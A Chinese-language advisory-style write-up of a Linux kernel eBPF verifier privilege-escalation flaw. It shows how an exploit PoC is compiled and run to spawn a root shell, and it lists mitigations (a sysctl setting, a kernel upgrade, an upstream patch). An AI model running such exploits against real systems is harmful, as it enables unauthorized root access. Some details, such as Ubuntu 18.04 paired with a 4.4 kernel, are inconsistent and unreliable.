描述

该漏洞存在于调用eBPF bpf(2)的Linux内核系统中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题, 低权限用户可使用此漏洞获得管理权限。

影响范围

Linux Kernel Version 4.14-4.4 仅影响Ubuntu/Debian发行版本

漏洞利用

查看版本

1
2
3
4
5
6
7
8
root@wuala:/tmp# uname -a 
Linux wuala 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
root@wuala:/tmp# uname -r
4.4.0-116-generic
root@wuala:/tmp# cat /etc/issue
Ubuntu 18.04.6 LTS \n \l

root@wuala:/tmp#

下载poc ,并编译

1
$ gcc -o pwned upstream44.c

执行

1
2
3
4
5
6
7
8
9
$ ./pwned 
task_struct = ffff8800b9ff72c0
uidptr = ffff8800b87c4f04
spawning root shell
root@wuala:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1001(test)
root@wuala:/tmp# whoami
root
root@wuala:/tmp#

漏洞修复

方法一:

目前暂未有明确的补丁升级方案提出,但是建议用户通过修改内核参数限制普通用户使用bpf(2)系统调用来缓解: 设置参数“kernel.unprivileged_bpf_disabled = 1”通过限制对bpf(2)调用了访问来防止这种特权升级
root@Ubuntu# echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled

方法二:

升级Linux Kernel 版本,需要重启服务器之后生效: 这一步在环境搭建过程中已经描述过了具体的操作,用户只需要修改内核版本即可!

方法三:

代码补丁 https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f

⬆︎TOP